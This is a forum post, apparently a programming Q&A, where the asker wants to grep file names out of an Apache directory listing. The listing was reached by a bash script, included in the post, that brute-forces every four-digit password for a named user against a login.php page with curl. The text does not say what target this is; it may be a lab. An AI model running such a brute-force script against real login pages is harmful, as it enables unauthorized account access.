title: i want to cut all file name
body: <p>my code :</p>
  
  <pre><code>#!/bin/bash
  url="http://$1/login.php"
  login=halliday_j
  for i in {0000..9999}
  do
          code=$(curl --silent  --data "login=$login&amp;password=$i" -XPOST $url -o /dev/null -w '%{http_code}')
  
          if (( $code == 302 ))
          then
                  code=$(curl --silent --data "login=$login.php&amp;password=$i" -XPOST $url -w '%{http_code}')
                  break
          else
                  code=$(curl --silent --data "login=$login.php&amp;password=$i" -XPOST $url -w '%{http_code}')
          fi
  done
  
  url2=$(curl --silent -o /dev/null --data "login=$login&amp;password=$i" -XPOST $url -L -w '%{url_effective}')
  code2=$(curl --silent "$url2")
  echo $code2
  </code></pre>
  
  <p>the echo write this </p>
  
  <pre><code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Index of /files&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Index of /files&lt;/h1&gt; &lt;table&gt; &lt;tr&gt;&lt;th valign="top"&gt;&lt;img src="/icons/blank.gif" alt="[ICO]"&gt;&lt;/th&gt;&lt;th&gt;&lt;a href="?C=N;O=D"&gt;Name&lt;/a&gt;&lt;/th&gt;&lt;th&gt;&lt;a href="?C=M;O=A"&gt;Last modified&lt;/a&gt;&lt;/th&gt;&lt;th&gt;&lt;a href="?C=S;O=A"&gt;Size&lt;/a&gt;&lt;/th&gt;&lt;th&gt;&lt;a href="?C=D;O=A"&gt;Description&lt;/a&gt;&lt;/th&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th colspan="5"&gt;&lt;hr&gt;&lt;/th&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/back.gif" alt="[PARENTDIR]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="/"&gt;Parent Directory&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td align="right"&gt; - &lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="3w99eho0oM"&gt;3w99eho0oM&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt;204 &lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="4AaJLJYAEm"&gt;4AaJLJYAEm&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt; 51 &lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="4j7B7HBSTE5kPmYB2OWMwiTi42gYSNoVhf2vxRw1EJ"&gt;4j7B7HBSTE5kPmYB2OWMwiTi42gYSNoVhf2vxRw1EJ&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt; 25K&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="6F41NGEMX0"&gt;6F41NGEMX0&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt; 10M&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="ADXCDtmlD8"&gt;ADXCDtmlD8&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt;4.0M&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="PYtbuNDEyPz51k4uXgJabGZ5t9B78hAz61pdEtAbNM"&gt;PYtbuNDEyPz51k4uXgJabGZ5t9B78hAz61pdEtAbNM&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt;739 &lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="QCnYVB9BdK"&gt;QCnYVB9BdK&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt; 42M&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="UZq81dNWvs"&gt;UZq81dNWvs&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt; 28K&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="XwkXP5HKsU"&gt;XwkXP5HKsU&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt; 40K&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="c5sP2RDW6v"&gt;c5sP2RDW6v&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt;102 &lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="hMnoLYw94C"&gt;hMnoLYw94C&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt; 51 &lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="j258aOJqzX"&gt;j258aOJqzX&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt; 70K&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="nQ2Bw8efvp"&gt;nQ2Bw8efvp&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt;153 &lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="rGSjN9iz6WMFakV0OOtQDej0UE6ehw5fYaBuuCXWTe"&gt;rGSjN9iz6WMFakV0OOtQDej0UE6ehw5fYaBuuCXWTe&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt;3.2K&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="rgFziqldquPekGfT3Xpxy45E1oSNG9OSMOFgrJkfHD"&gt;rgFziqldquPekGfT3Xpxy45E1oSNG9OSMOFgrJkfHD&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt;758 &lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="u0ivleL61i"&gt;u0ivleL61i&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt; 42M&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="xikKz1pQ2s"&gt;xikKz1pQ2s&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt; 20K&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td valign="top"&gt;&lt;img src="/icons/unknown.gif" alt="[ ]"&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="yKeivf8XYX"&gt;yKeivf8XYX&lt;/a&gt;&lt;/td&gt;&lt;td align="right"&gt;2018-10-08 14:41 &lt;/td&gt;&lt;td align="right"&gt; 42M&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th colspan="5"&gt;&lt;hr&gt;&lt;/th&gt;&lt;/tr&gt; &lt;/table&gt; &lt;address&gt;Apache/2.4.10 (Debian) Server at 163.5.245.214 Port 80&lt;/address&gt; &lt;/body&gt;&lt;/html&gt;
  </code></pre>
  
  <p>so i try a cut but my regex didn't cut all things i want so i want to try with grep but i don't no how to do this.
  so the word i want to cut is href="file name i want to cut"</p>
  
  <p>i want to echo all file name 
  like :</p>
  
  <pre><code>name1
  name2
  name3
  name4
  </code></pre>